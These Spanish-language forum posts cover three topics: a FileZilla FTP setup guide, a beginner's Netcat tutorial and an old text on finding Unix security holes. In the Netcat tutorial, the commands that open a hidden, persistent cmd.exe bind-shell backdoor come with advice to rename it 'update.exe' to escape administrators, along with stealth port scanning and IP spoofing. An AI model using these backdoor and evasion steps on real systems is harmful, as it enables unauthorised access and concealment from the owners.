De cualquier forma, desde esta página recomendamos como cliente el Filezilla. Este es uno de los clientes FTP más versátiles y además es gratuíto (incluso puedes descargarte el código fuente y modificarlo a tu gusto). Para descargarte la última versión o si quieres descargarte el código fuente o incluso tener más información puedes consultar su página web No tienes permitido ver enlaces. Registrate o Entra a tu cuenta. Desde ahí puedes incluso colaborar en el proyecto (ya bien sea en su traducción al español como en el desarrollo de nuevas funcionalidades).

Para instalar Filezilla, no hay nada más que seguir los pasos de instalación normales como cualquier otra aplicación. Una vez instalada, para ponerla en Español, no tenemos más que ir al menú Edit -> Settings... -> Language y ahí elegimos como idioma el Español y pulsamos el botón OK.

Conectarte a un servidor FTP es muy fácil. En la parte superior nos encontramos con 4 cuadros de diálogo: Dirección, Usuario, Contraseña y Puerto.

No tenemos más que escribir el nombre o dirección IP en la que se encuentra el servidor FTP al que queremos conectar. Si disponemos de un usuario y contraseña, lo escribiremos, si no lo dejaremos en blanco (esto último se llama "conexión anónima" y funcionará si el servidor ftp tiene configurado el aceptar conexiones anónimas). Y por último está el puerto por si la persona con la que queremos conectar ha puesto su servidor FTP en un puerto distinto al estándard (que es el puerto 21) para "camuflarlo" o para darle más protección. Pulsamos sobre el botón ConexiónRápida y si todo ha ido bien (si no ha ido bien, sigue leyendo), en la parte de Sitio Remoto (en el centro y a la derecha) veremos el listado de ficheros y directorios del servidor.

Si queremos bajar un fichero, no tenemos más que arrastar el fichero al cuadro de la izquierda (que si nos fijamos son los directorios de nuestro disco duro) y en el directorio de nuestro ordenador que queramos almacenarlo. Si queremos subir un fichero al servidor FTP (y tenemos permisos para ello) no tenemos más que arrastar el fichero desde el cuadro que representa el ordenador (centro a la izquierda) al cuadro que representa el ordenador al que nos hemos conectado (centro a la derecha).

Conforme vayamos subiendo o bajando ficheros, éstos se pondrán en cola en el cuadro inferior, donde podemos ver cuántos ficheros estamos transfiriendo, cuánto queda por bajarnos y pinchando en el fichero, podrás parar momentáneamente la transferencia, reanudarla o cancelarla.

Varios trucos:

i) Puedes crear una lista de sitios FTP con la opción de menú Archivo -> Administrador de sitios y ahí puedes dar de alta las direcciones (con usuarios y contraseñas) de los sitios FTP que más uses.

ii) Si una transferencia de un fichero se corta accidentalmente (se te apaga el ordenador o se corta la conexión), puedes reanudarlo donde lo dejaste. Símplemente tienes que volver a transferir el fichero a tu ordenador (en el mismo sitio donde está el que se te quedó incompleto) y te dará las opciones de sobreescribirlo o de seguir la transferencia por donde la dejaste.

Posibles problemas:

Por las características del protocolo FTP, si tienes un router o un firewall personal, la conexión FTP puede que no se pueda realizar correctamente. Para esos casos existe una modalidad llamada FTP pasivo. ¿Cómo sabemos cuando necesitamos una conexión de FTP pasivo o una conexión normal de FTP? La forma más fácil es probando. A la hora de conectarnos al servidor veremos que la conexión se realiza correctamente, te acepta el usuario y la contraseña, pero a la hora de pedir el listado de ficheros, se queda parado. En ese caso hay que probar con FTP pasivo o quizás incluso desactivarlo. No existen reglas fijas como "dejar siempre FTP pasivo" puesto que hay servidores FTP que no aceptan esta modalidad. Es por ello que, vuelvo a repetir, no hay una regla fija.

Para activar/desactivar el FTP pasivo hay que ir a la opción de menú Edición -> Configuración -> Configuración del cortafuegos y la opción es Passive Mode. Activarlo o desactivarlo puede significar que podamos conectar a un servidor cuando antes no podíamos.

El servidor FTP

Con el cliente FTP úncamente nos podremos conectar a servidores que ya estén funcionando. Pero lo interesante es el crear un servidor FTP.

Al igual que con los clientes FTP, existen multitud de programas servidores FTP. No obstante, recomendamos como uno de los mejores y más versátiles el Filezilla server. Esta versión es la parte servidora, que como el programa cliente es totalmente gratuíta y podemos bajarnos el código fuente y modificarlo a nuestro gusto. El Filezilla server lo puedes bajar en No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, donde si quieres puedes también bajarte el código fuente. Se instala y listo. Desgraciadamente, no hay versión en Español del servidor (si alguien se anima a colaborar en el proyecto como traductor, desde esa página Web podeis contactar y ofrecer vuestra colaboración para traducirlo).

Si en algún momento deseamos parar el servidor FTP, no tenemos más que ir a el grupo de programas Filezilla Server y ejecutar Stop Filezilla Server. Y en caso de que queramos otra vez iniciarlo, nada más fácil que ejecutar el programa Start Filezilla Server.

El filezilla server se controla mediante el programa Filezilla Server Interface. Por un lado tenemos el servidor FTP que está ejecutándose en segundo plano. Y por otro lado tenemos este programa que se encarga de gestionar el servidor FTP y de configurarlo.

Este programa controla el servidor FTP conectándose a éste a través de un puerto. De esta forma podemos controlar nuestro servidor FTP de forma remota. Nada más arrancar el programa antes mencionado, aparece la siguiente pantalla:



En esta pantalla se nos pide la dirección IP del donde está el servidor FTP (ahí tenemos que escribir o bien la IP de nuestro ordenador, o si estamos en la misma máquina en la que está instalado el servidor FTP, podemos escribir 127.0.0.1, siendo esta IP por convenio la IP de mi ordenador).

Luego se nos pide el puerto al cual conectarnos y la contraseña del servidor FTP (en principio el puerto es por defecto el 14147, aunque se puede cambiar en la configuración del servidor y la contraseña de principio está en blanco).

Si pulsamos OK, nos aparece la ventana principal de configuración del filezilla, siendo el mensaje que nos tiene que aparecer:



FileZilla Server version 0.9.3 beta

Copyright 2001 by Tim Kosse ([email protected])

Connecting to server...

Connected, waiting for authentication

Logged on



Con esto se nos indica que estamos identificados correctamente. Lo primero y más urgente es cambiar la contraseña de administración del servidor, puesto que si no, cualquierá podría conectarse a él remotamente y cambiar su configuración.

Así pues elegimos la opción de menú Edit -> Settings y una vez allí nos vamos a Admin Interface Settings y ahí escribrimos una contraseña en los campos New Password y Retype New Password.

Si nos fijamos, en esta opción de menú también podremos cambiar el puerto de administración del servidor FTP (que es por defecto el 14147).

Cuando esté cambiada la contraseña, pulsando OK se harán efectivos los cambios.

De cualquier forma, no sólo esta es la única opción configurable del servidor:

* Welcome Message: Con él podemos cambiar el mensaje de bienvenida que aparece en el cliente FTP de todos aquellos que se conecten con nuestro servidor.

* IP Filter: En esta opción podemos impedir que ciertas IPs se conecten al servidor o bien permitir que tan sólo se conecten al servidor ciertas IPs que seleccionemos.

* Logging: Si queremos ver quién está accediendo a nuestro servidor, activando el Logging, se escribirá en un fichero todos los accesos que tenga nuestro servidor y qué ficheros se bajan o suben.

* Speed Limit: Ten en cuenta que quien se conecte a tu servidor FTP te está quitando ancho de banda para que tú puedas navegar o bajar de otros servidores FTP. Con esta opción podemos limitar el ancho de banda total que va a consumir el servidor. Si vas a tener un servidor FTP funcionando todo el día y tiene gran demanda de ficheros, prueba a limitar el ancho de banda para que no te afecte a la conexión lo que otros usuarios hagan en tu servidor.

Con esto ya tenemos configurado nuestro servidor FTP. Ahora sólo queda configurar a los usuarios que van a conectarse.

En primer lugar, tú puedes configurar una serie de usuarios (con sus correspondientes contraseñas). Para crear un usuario sólo tienes que ir a Edit -> Users.

En la parte de la derecha están los usuarios del sistema. Pulsando el botón Add, podrás crear un nuevo usuario. Si tienes un volumen muy grande de usuarios, prueba a crear un grupo de usuarios y ve asignado los usuarios a los grupos. Luego es más fácil dar permiso a un grupo completo que ir usuario por usuario.

Si no tienes muchos usuarios, no hace falta que crees ningún grupo, así que símplemente escribes el login de tu usuario y elige como grupo <none> (ninguno).

Puedes crear tantos usuarios como quieras. Con Remove se eliminan, con Rename se puede cambiar el login de un usuario y con Copy puedes crear un usuario a partir de otro copiando sus datos.

Las opciones que tienes en el centro, son para cada usuario. Si seleccionas otro usuario en el panel usuarios de la derecha y modificas las opciones, esta modificación sólo se hará para ese usuario en concreto.

La opción Enable Account sirve para activar o desactivar a un usuario sin necesidad de borrarlo y activando password se le asigna a un usuario una contraseña.

Una vez que hayas creado los usuarios, nos vamos al panel de la izquierda y elegimos Shared Folders. A partir de ahí seleccionamos al un usuario y con el botón Add del panel central, vamos añadiendo directorios a ese usuario. Todos los directorios que seleccionemos serán accesibles por ese usuarios. Así que seleccionamos qué directorios queremos que ese usuario tenga acceso. Recuerda que los directorios se le asignan a un único usuario. Tendremos que asignar directorios a todos y cada uno de los usuarios que hemos creado. Si tenemos muchos usuarios, podríamos plantear crear grupos de usuarios, asignar usuarios a grupos y dar permisos y compartir carpetas no a un usuario en particular, sino a un grupo.

Una vez que tengamos seleccionadas las carpetas que va a ver un usuario, tenemos que especificar los permisos de esa carpeta. Dichos permisos están en el panel central a la derecha.

Para un directorio, existen 2 permisos básicos: Read y List. Con Read daremos permiso de lectura a los ficheros de un directorio y con List daremos permiso para listar los ficheros del directorio. Si no damos el permiso de List, cuando una persona quiera ver nuestro directorio, le aparecerá que no tiene permiso para verlo.

Write da permiso para escribir ficheros, Delete para borrarlos, Append para añadir datos a un fichero ya existente, Create es para crear directorios, Delete para borrarlos y + Subdirs es para dotar de los mismos permisos a los subdirectorios del directorio al que le hemos dado los permisos.

Las restantes pestañas de esta ventana son Speed Limits, para establecer límites de velocidad por usuario o IP filter para determinar que un usuario sólo se pueda conectar desde una IP.

Tan sólo decirte que hay un usuario especial llamado anonymous. Ese usuario es el que usan los clientes FTP para permitir entrar a un usuario sin identificación.

Así pues, es interesante que crees un usuario anonymous y que no le actives la contraseña. De esta forma permitirás que entren personas sin que tengas que darle un usuario y una contraseña. Pero no le des permiso de escritura, tan sólo de lectura.

Configuración Recomendada:

Una vez que sabemos cómo manejar este programa, vamos a explicar una configuración que nosotros pensamos que es la más recomendada:

i) Pon una contraseña de administración.

ii) Haz un directorio en el raíz de tu disco duro llamado ftp ó compartir. En ese directorio iremos creando directorios e iremos dejando los ficheros que queramos compartir.

iii) Crea un usuarios anonymous y dale permiso de lectura (Read) y de listar (List) los ficheros del directorio ftp. De esa forma no tendrás que ir dando usuario/contraseña a los que quieran entrar en tu ftp y al tener sólo permiso de lectura no podrán hacerte nada en tus ficheros.

iv) Crea un directorio dentro del directorio ftp llamado upload y dale permiso de escritura (Write) y para crear directorios (Create) para el usuario anonymous. De esta forma, si un usuario anónimo te quiere dejar algo, lo podrá hacer, pero en una carpeta distinta. Al no tener permiso de borrado (Delete), no podrá borrar nada, sólo dejarte cosas.

v) Limita la velocidad a ese usuario anonymous. Para ello modifica los correspondientes valores en Upload (tráfico que usa la gente para subirte ficheros) y Download (tráfico que usa la gente para descargarse ficheros de tí) en Seepd Limit. De esta forma, si hay mucha gente bajándose cosas de tí, no te afectará a tí para navegar por Internet. Ya depende de la velocidad de tu ADSL... y ten en cuenta que una ADSL es simétrica. Así si tienes una ADSL de 2 Mbps, tienes 2 Mpbs de tráfico upload para los usuarios y 300 Kbps de tráfico de donwload. ¿Que cómo es posible? Muy fácil, ten en cuenta que cuando tú navegas por Internet el caudal de descarga es de Internet hacia tí, y el de subida es de tí hacia Internet. Cuando tú montas un servicio en Internet, las tonas se invierten y los usuarios se descargan de tí por el canal de subida de la ADSL y suben cosas por el canal de bajada de la ADSL. Así que si tienes una ADSL de 2 Mbps, la gente en internet sólo podrá descargarse de tí como máximo 300 Kbps (que es la velocidad del canal de subida de la ADSL) y te podrán subir ficheros a tu ftp a 2Mbps (que es el canal de bajada de la ADSL). Si lo piensas tiene su lógica, ¿no?

vi) Crea varios usuarios para tus amigos y ya es tema tuyo a qué directorios quieres darle permiso y qué tipo de permisos les das.



Y bueno, ya tenemos configurado un servidor FTP para que puedas dejar cosas a la gente y la gente te pueda dejar cosas a tí. Por último faltaría (si tienes un router ADSL) el configurar el router para que la gente pueda acceder a tu servidor FTP. Ten en cuenta que la IP que tienes en Internet, cuando te instalan un router, es la IP del router y no la de tu ordenador. ¿Qué IP tiene entonces mi ordenador? Pues una dirección interna que no es accesible desde Internet. Con eso te dan los operadores seguridad y no tienes que preocuparte porque alguien desde Internet pueda acceder a tu máquina.

Si quieres montar el servicio en internet con un router, tendrás que montar un NAT inverso. Con el NAT inverso le digo al router ADSL que cuando alguien acceda a la IP del router en un puerto (por ejemplo, el puerto 21), lo rediriga a la IP interna que tiene mi máquina. Con eso cualquier paquete desde Internet que toque el router, éste lo pasará hacia dentro de tu red (más concretamente hacia tu ordenador). pero eso es otra historia. Ya depende del tipo de router que tengas instalado. Para ello deberás de consultar en el manual cómo crear un NAT inverso (o en su defecto, ir a Internet a ver cómo se hace en tu router).

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#5319
Hacking / Tutorial de Netcat para newbies
Febrero 18, 2010, 12:08:39 PM
TUTORIAL DE NETCAT PARA NEWBIES

En resumen Netcat realiza y acepta conexiones TCP Y UDP. ¡Eso es todo! Netcat escribe y lee los datos en este tipo de conexiones hasta que se cierren. Proporciona un subsistema de conexión a red básico basado en TCP/UDP que permite a los usuarios interactuar en forma normal o mediante secuencias de comandos con aplicaciones de red y servicios sobre la capa de aplicación. Nos permitirá ver datos TCP y UDP en bruto antes de que sean recubiertos por la siguiente capa superior, tal como FTP, SMTP, o HTTP. Antes de continuar debo decirte que tendrás que tener Netcat en C:WINDOWSSystem32 por cuestiones que no soy primordiales de este manual.

LINEA DE COMANDOS

La línea básica de comandos para Netcat es nc [opciones] host puertos, donde host es la dirección IP que se desea analizar y puertos es o un  determinado puerto o un rango de puertos o una serie de puertos separados por espacios. Echemos un vistazo a cada una de las opciones.

-d Permite que nc trabaje en forma silenciosa y se desenganche del indicador de comandos MS-DOS.
-e <comando> Un nc a la escucha podrá ejecutar el <comando> en el instante en que alguien se conecte al puerto en el que está escuchando.
-i <segundos> Intervalo de espera, que es la cantidad de tiempo que nc esperará entre dos envíos de datos sucesivos.
-g <lista-de-ruta> Se pueden especificar hasta 8 opciones –g en la línea de comandos para forzar que su tráfico nc pase por determinadas direcciones IP.
-G <puntero de saltos> Esta opción le permitirá definir que dirección IP va a ser el siguiente salto dentro de la ruta indicada con la opción –g.
-l Activa el modo escucha de nc.
-L Activa el modo escucha de nc pero con más interés.
-n Indica a nc que no realice ninguna consulta de nombres de hosts.
-o <archivohex> Realiza un volcado hexadecimal de los datos y los almacena en un archivo hexadecimal.
-p <puerto> Le permite especificar el puerto local que va a utilizar nc.
-r Nc elegirá aleatoriamente los puertos locales y remotos.
-s Especifica la dirección IP de origen que deberá utilizar nc cuando efectue sus conexiones.
-t Es capaz de controlar la negociación de opciones Telnet.
-u Indica a nc que utilice UDP en lugar de TCP.
-v Informa el estado de nc, si pones otra –v podrás obtener más información.
-w <segundos> Controla cuanto tiempo va a esperar nc antes de dar por terminada una conexión.
-z Le dice a nc que envíe la cantidad de datos necesarias para conocer en que puertos se está escuchando algo.

OBTENER ACCESO REMOTO A UNA SHELL

Si se ejecuta el comando nc.exe  -l –p4455 –e cmd.exedesde una ventana del símbolo del sistema en una plataforma basada en Windows NT o Windows 2000, cualquiera que realice un Telnet al puerto 4455 de dicha plataforma se encontrará con una shell DOS sin tener que iniciar una sesión en ella.

Bastante elegante, pero también da un poco de miedo. Casi sin esfuerzos acabamos de obtener un indicador de comandos en el sistema atacado. Naturalmente, en los sistemas Windows NT y Windows 2000, tendrá los mismos privilegios y servicios que el usuario que ejecute Netcat. Si creamos de esta manera una puerta trasera en Windows 95 y Windows 98obtendremos un control completo.
Vamos a seguir profundizando en este comando, recuerden que de forma predeterminada Netcat se ejecutará en la ventana DOS que se haya iniciado, este hecho significa que la ventana de control de comandos tendrá que permanecer abierta mientras Netcat se encuentre en ejecución. Emplearemos la opción –d para separarla del indicador de comandos.

Código:
C:>nc.exe –l –p 4455 –d –e cmd.exe

De ésta forma, podremos ocultar una puerta trasera basada en Netcat.

Sin embargo si alguien realiza un Telnet al puerto 4455 y se conecta, tan pronto como se finalice la conexión, Netcat pensará que su trabajo ha terminado y dejará de escuchar. Para evitar esto utilizaremos la opción –L diciéndole a Netcat que escuche con más interés incluso después de haber finalizado la conexión.

Código:
C:>nc.exe –p 4455 –d –L –e cmd.exe

Esto nos permitirá volver al sistema hasta que el administrador de dicho sistema descubra la puerta trasera. Y para evitar que nos descubra podemos cambiar el nombre de nc.exe por cualquier otra cosa. Nota: en este ejemplo yo tengo nc.exe que voy a mover en C: y no en C:WindowsSystem32



Cualquiera podrá ignorar algo tan aparentemente inofensivo como update.exe. Otra característica de Netcat es que si lo utilizamos sin ninguna opción en la línea de comandos, nos pedirá que la introduzcamos en la primera línea de la entrada estándar.



EXPLORACION SILENCIOSA DE PUERTOS

Como Netcat puede hablar con un rango de puertos, un uso muy obvio sería utilizarlo como explorador de puertos. La opción –z es la respuesta. Ésta opción le dirá a Netcat que envía una determinada cantidad de datos a algún puerto, pero dicha cantidad solo será suficiente para saber si el puerto está abierto o no. En éste caso utilizaremos la opción –v o –vv ya que sin por lo menos una –v no podremos ver el resultado de la exploración. Aquí estoy haciendo una exploración de puertos a 127.0.0.1 desde el 139 hasta el 145. Obtuve como resultado que solo se encuentran abiertos el 139,141 y 142.



Pero esta forma de hacerlo no es la mas correcta que digamos porque algunas aplicaciones de cortafuegos, bloquearan determinada dirección IP si reciben demasiadas conexiones sobre ella en un periodo muy corto de tiempo. Para que no nos suceda esto Netcat permite hacer exploraciones de una manera más discreta, tan discreta que no parecerá una exploracion de puertos. Se podrá utilizar la opción –i y configurar un intervalo de prueba y la opción –r para lo haga de forma aleatoria.Puede hacerse este mismo procedimiento para los puertos UDP solo agregándole –u a la línea de comandos.

SUPLANTAR UNA DIRECCION IP

Suplantar una dirección IP resulta sencillo. Los cortafuegos que realizan enmascaramiento  o una traducción de las direcciones de red suplantan diariamente direcciones IP. Estos dispositivos toman un paquete desde una dirección IP interna, cambian la dirección IP origen del paquete a su propia dirección IP, lo envían por la red y deshacen las modificaciones cuando vuelven a recibir los datos desde el destino. Por ello, decimos que modificar los contenidos de la dirección IP origen en un paquete IP resulta sencillo. Lo que si es difícil es ser capaz de recibir datos desde una dirección IP suplantada.

Netcat dispone de la opción –s que nos permitirá especificar la dirección IP que deseemos. Cualquiera podria iniciar una exploración de puertos utilizando la opción –s para hacer pensar que estan siendo explorado por Microsoft o el FBI. Sin embargo, el problema nos viene cuando deseamos reenviar las respuestas emitidas por el puerto suplantado a nuestra dirección IP real. Supongamos, por ejemplo, que el host de destino piensa que ha recibido una petición de conexión de Microsoft, intentará enviar un mensaje de reconocimiento a dicha ip de Microsoft.  Naturalmente, esta dirección IP no tendrá idea de lo que está hablando el host de destino y enviará un reset. ¿Cómo podemos enviar la información de vuelta a la dirección IP real sin que seamos descubiertos?

En lugar de atacar a la maquina destino, la única otra opción viable es utilizar el encaminamiento dependiente del origen. El encaminamiento dependiente del origen permite a una aplicación de red especificar la ruta que desea seguir para llegar a su destino.

Existen dos tipos de encaminamiento dependiente del origen: estricto y relajado. El encaminamiento dependiente del origen estricto significa que el paquete debe especificar cada salto a realizar en la ruta hasta llegar al host de destino. Algunos routers y otros dispositivos de red siguen permitiendo el encaminamiento dependiente del origen estricto, pero muy pocos permiten el encaminamiento dependiente del origen relajado. El encaminamiento dependiente del origen relajado indica a los routers y a los dispositivos de red que los routers pueden efectuar la mayor parte del encaminamiento hasta llegar al host de destino, este proceso nos permitirá hacer que el paquete pase por nuestra maquina al regresar. Utilizando este método el encaminamiento dependiente del origen puede permitir que suplantemos una direccion IP y que obtengamos las respuestas a su viaje de vuelta. La mayoría de los routers ignoran las opciones del encaminamiento dependiente del origen, pero no todos.

La opción –g de Netcat nos permitirá especificar hasta 8 saltos que deberá dar el paquete antes de llegar a su destino, por ejemplo: nc –g 10.10.4.5 –g 10.10.5.8 –g 10.10.7.4 –g 10.10.9.9 10.10.9.50 23 entrará en contacto con el puerto telnet en 10.10.9.50, pero si las opciones del encaminamiento dependiente del origen se encuentran activadas sobre routers intermedios, tráfico se verá forzado a seguir la ruta a través de estas 4 ubicaciones antes de alcanzar su destino. Si intentamos nc –g 10.10.4.5 –g 10.10.5.8 –g 10.10.7.4 –g 10.10.9.9   –G 12 10.10.9.50 23, en este comando estaremos especificando un puntero de salto utilizando la opción –G. La opción –G configurará el puntero de salto al n-simo byte (en este caso el duodecimo) y como las direcciones IP tienen 4 bytes de longitud, el puntero de salto comenzará en 10.10.7.4. Por lo que en su camino a 10.10.9.50, el tráfico necesitará atravesar únicamente las dos ultimas maquinas (porque de acuerdo con el puntero de salto ya hemos estado en las primeras). Sin embargo en el viaje de vuelta el paquete si pasará por las 4 maquinas.
#5320
Hacking / Como encontrar agujeros de Seguridad
Febrero 18, 2010, 12:04:32 PM
1)  Agujeros de seguridad fisicos

- Cuando el problema potencial esta causado debido al hecho de dar a personas
sin autorizacion acceso fisico a la maquina, cuando esto les permitira realizar
cosas que no deberian ser capaces de hacer.
Un buen ejemplo de esto podria ser una sala publica con estaciones de trabajo
donde seria facilisimo para un usuario el reinicializar una maquina en modo
mono-ususario y trastear con los archivos de la estacion de trabajo, si no se
tomasen precauciones.
Otro ejemplo de esto es la necesidad de restringir el acceso a cintas backup
confidenciales, que de otro modo podrian ser leidas por cualquier usuario con
acceso a las cintas y con una unidad de cinta, independientemente de si tuvieran
o no permiso.

2)  Agujeros de seguridad en el software

- Cuando el problema esta causado por una mala escritura de partes "privilegiadas"
de software (daemons, cronjobs) que pueden estar comprometidos a realizar tareas
que no deberian.
El ejemplo mas famoso de esto es el bug del sendmail (ver bibliografia) que podia
permitir a un cracker el pillar una shell root. Esto podria ser usado para borrar
archivos, crear nuevas cuentas, copiar el fichero de passwords, cualquier cosa.
(Contrariamente a lo que la gente piensa, los ataques via sendmail no estaban
solo restringidos al infame "Gusano de Internet" (Internet Worm) - cualquier
cracker podia hacer esto Telneteando al puerto 25 de la victima. La historia
detras de un agujero similar (esta vez en el software "move-mail" de EMACS) se
describe en [Stoll].)
Nuevos agujeros como este aparecen todo el tiempo, y tus mejores esperanzas son:

a.  tratar de estructurar tu sistema de forma que el menor software posible con
privilegios root/daemon/bin corra en tu maquina, y que el que lo haga sepamos que
sea robusto.

b.  suscribirse a una lista de mail para poder tener lo antes posible informacion
con detalles acerca de problemas y/o parches, y actuar en cuanto la tengas.

>From: Wes Morgan <[email protected]>
>
> c: Cuando instales/actualices un sistema dado, trata de instalar/habilitar solo
>aquellos paquetes de software por los que tengas una necesidad inmediata o
>previsible. Muchos paquetes incluyen daemons o utilidades que pueden revelar
>informacion a extraños. Por ejemplo, el paquete de contabilidad del Unix System
>V de AT&T incluye >acctcom(1), que podria permitir (por omision) a cualquier ususario
>el revisar los datos de las cuentas diarias de cualquier otro usuario.
>>Muchos paquetes TCP/IP instalan/cargan automaticamente programas tales como rwhod,
>fingerd, y (ocasionalmente) tftpd, pudiendo todos presentar problemas de seguridad.
>
>Una administracion del sistema cuidadosa es la solucion. Muchos de estos programas
>son inicializados/iniciados en el arranque; desearas cambiar tus scripts de arranque
>(normalmente en los directorios /etc, /etc/rc, /etc/rcX.d) para prevenir su ejecucion.
>Desearas eliminar algunas utilidades completamente. Para algunas utilidades, un
>simple chmod(1) puede prevenir el acceso de usuarios no autorizados
>
>Resumiendo, NO CONFIES EN LOS SCRIPTS/PROGRAMAS DE INSTALACION! Tales facilidades
>tienden a instalar/cargar todo lo que hay en el paquete sin preguntartelo. Muchos
>manuales de instalacion incluyen listas de "los programas incluidos en este paquete";
>asegurate de revisarlo.

3)  Agujeros de sguridad de uso incompatible

- Cuando, a traves de la falta de experiencia, o no por fallo suyo, el administrador
del sistema reune una combinacion de hardware y software y esta es usada como un
sistema, estara seriamente dañado desde el punto de vista de la seguridad. Es la
incompatibilidad de intentar hacer dos inconexos pero utiles actos lo que crea
agujeros de seguridad.
Problemas como este son muy dificiles de encontrar una vez que el sistema esta
creado y funcionando, asi que es mejor el crear el sistema con ellos en mente(fallos).
Aunque nunca es tarde para volver a pensarlo.
Algunos ejemplos estan detallados abajo; no entremos en ellos aquí, ya que estropearia
la sorpresa.

4)  Elegir una filosofia de seguridad adecuada y mantenerla

>From: Gene Spafford <[email protected]>
>El cuarto tipo de problema de seguridad es el de la percepcion y el >entendimiento.
Software perfecto, hardware protegido, y componentes compatibles no funcionan a menos
>que hayas elegido una politica de seguridad correcta y que hayas puesto en marcha las
>partes de tu sistema que la refuercen. Tener el mejor mecanismo de password del mundo
>es inutil si tus usuarios creen que la ultima parte del nombre de su login es un buen
>password! La seguridad esta relacionada con una politica (o conjunto de politicas/normas)
>y el funcionamiento de tu sistema conforme a dicha politica

---

From: Hacking
Tema: Ideas de hacking
Date: 11/10/93

( Please contribute by sending E-Mail to <[email protected]> ... )

[Muchas de las ideas tomadas de: HaxNet - APG V1.3 : Guia para encontrar nuevos agujeros]

NOTA: Creo que esto se debe de dividir en categorias generales:
1)  Principios generales
2)  Buscar agujeros en src
3)  Buscar en las distribuciones binarias
4)  Buscar en configuraciones especificas de sites.

  Las siguientes clasificaciones generales sugieren por si mismas:
1) SUID/SGID
2) Return codes/error conditions
3) unexpected input
4) race conditions
5) authentication
6) implicit trust
7) parameters
Cool permissions
9) interrupts
10) I/O
11) symbolic links
12) Daemons, particularly those taking user input.
13) Kernel race conditions
14) what else? - please add categories

(Division sugerida de lo de arriba en sub-categorias)
I: Suid binaries and scripts
   unexpected user interactions
   flawed liberary calls
   implicit assumptions of external conditions (sym links, loc. paths)
   race conditions
II: daemons running with priviliged uid's
   race conditions
   poor file protectons
   implicit file protections
   trust
   authentication
III: Kernel problems
   Kernel race conditions
   device driver code

El siguiente metodo de 4 pasos fue creado por System Development
Corporation, que da un indice de 65% de éxito en las hipotesis generadas.
El hacer una busqueda detallada de imperfecciones en los sistemas operativos requiere
4 pasos:

Paso 1) Conocimiento de la estructura de control del sistema
==============================================================
Para encontrar agujeros de seguridad, e identificar debilidades de diseño es necesario
entender la estructura de control del sistema, y las capas.
Uno deberia ser capaz de listar:
A)objetos de seguridad: componentes que deben ser protegidos. Ej: un archivo de usuario
B)objetos de control: componentes que protegen objetos de seguridad. Ej: un i-node
C)objetos reciprocos: objetos de ambas clases. Ej: el archivo de password.

Con dicha lista, es posible el representar graficamente una jerarquia de control e
identificar puntos potenciales de ataque. Hacer diagramas de flujo para dar un
analisis visual de relaciones definitivamente ayuda. El leer los varios manuales
de usuario, operadores, y administradores proveera dicha informacion.

Paso 2) Generar un inventario de desperfectos sospechosos
===========================================================
En particular queremos:
Historia de codigo:
  De que UNIX deriva un defecto en particular? Esto es importante para proximas
  referencias (muy a menudo solo un vendedor parchea partes del codigo, que sera
  usado por otros en su "reencarnacion" sin parchear.
Una referencia solida:
  Quien chequea que bugs hay, en que sistema operativo y en que versiones, nos
  previene de realizar una doble tarea.

Un buen comienzo seria el listar todos los binarios suid de las diferentes versiones
de los sistemas operativos. Despues intentar averiguar por que cada programa es suid
ej: rcp es suid root ya que debe usar un puerto privilegiado para autentificar nombres
de usuario.
A menudo, codigo que nunca fue diseñado para ser suid, se hace suid, para resolver
problemas de acceso a ficheros.
Necesitamos crear una base de datos que sea capaz de "mirar" a pares y trios de datos,
especificamente:nombre del programa, suid, sgid, objeto accedido (por que es suid/sgid),
version del sistema operativo.

Alguna sugerencia de como implementar dicha base de datos?

Paso 3) Confirmar hipotesis (testear y explotar los defectos)
===============================================================

Paso 4) Hacer generalizaciones de las debilidades del sistema, para
las que los defectos representan un ejemplo especifico
=====================================================================

Caja de herramientas
=====================
AGREP: Recomiendo a todo el mundo pillar e instalar agrep de:
        ftp No tienes permitido ver enlaces. Registrate o Entra a tu cuenta /agrep/agrep.tar.Z
Agrep soporta "windowing" por lo que puede busacr rutinas, y subrutinas. Tambien
soporta operadores logicos y es de esta forma ideal para automatizar la busqueda de
muchos de estos defectos. Ej: <psudocode>
      agrep WINDOW {suid() NOT taintperl()} /usr/local/*.pl
or    agrep WINDOW {[suid() OR sgid()] AND [system() OR popen() OR execlp()
            OR execvp()]} /usr/local/src/*.c

PROGRAMA DE PERMUTACION: Otra herramienta que merece producir es un programa que
genere todas las permutaciones posibles de los argumentos de la linea de comandos
para asi descubrir caracteristicas indocumentadas, y tratar de producir errores.

TCOV:

CRASH: Posteado a USENET (que archivo FTP?)(descripcion?)

TEXTOS: Hay varios textos que tratan metodos sobre como encontrar defectos, y
presentan series de tests
1) Un estudio empirico de la seguridad de las utilidades UNIX, por Barton P. Miller,
Lars Fredriksen, and Bryan So, Comm ACM, v33 n12, pp32-44,Diciembre 90. Describe
una serie de tests para testear cadenas aleatorias de entradas.
Los resultados indicaban que un 25% de los programas se colgaban, se venian abajo, o
no actuaban como debian. En un caso el sistema operativo se vino abajo.
El entendimiento de la  composicion del buffer y el registro en el ambiente en
cuestion, y la entrada esperada se entiende que dara los resultados esperados.
2)  El conjunto de herramientas Mothra, in Proceedings of the 22nd Hawaii International
Conference on Systems and Software, pages 275-284, Kona, HI, January '89
3)  Extending Mutation Testing to Find Environmental Bugs, by Eugene H.Spafford,
Software Practice and Experience, 20(2):181-189, Feb '90
4)  A paper by IBM was mentioned that was submitted to USENIX a few years ago.
(Anyone have a citation?).

Defectos especificos que chequear
===================================
1) Buscar rutinas que no hagan chequeos al limite, o verifiquen entradas.
Ej:la familia de rutinas gets(), donde es posible sobreescribir el limite del buffer
(sprintf()?, gets(), etc.)tambien: strcpy()

2) Las rutinas SUID/SGID escritas en uno de los shells, en vez de C o PERL

3) Las rutinas SUID/SGID escritas en PERL que no usan el programa "taintperl"

4) Las rutinas SUID/SGID que usan las llamadas system(),popen(), execlp(), o execvp()
para ejecutar otra cosa.

5) Cualquier programa que use nombres relativos de ruta (path) dentro del programa

6) El uso de nombres relativos de ruta para especificar librerias vinculadas dinamicamente.

7) Rutinas que no chequean codigos de error devueltos por llamadas del sistema
(Ej: fork(2), suid(2),setuid(), como en el famoso bug rcp)

Cool Los agujeros se pueden encontrar a menudo en codigo que:
  A)  es portado a un nuevo entorno
  B)  recibe entradas inesperadas
  C)  interactua con otro software local
  D)  accede a archivos de sistema como passwd, L.sys, etc
  E)  lee entradas de directorios o archivos publicos escribibles
  F)  programas de diagnostico que tipicamente no estan a prueba de usuarios

9) Testear codigo para entradas inesperadas. Hay disponibles herramientas de testeo de
proteccion, flujo de datos, y muacion.

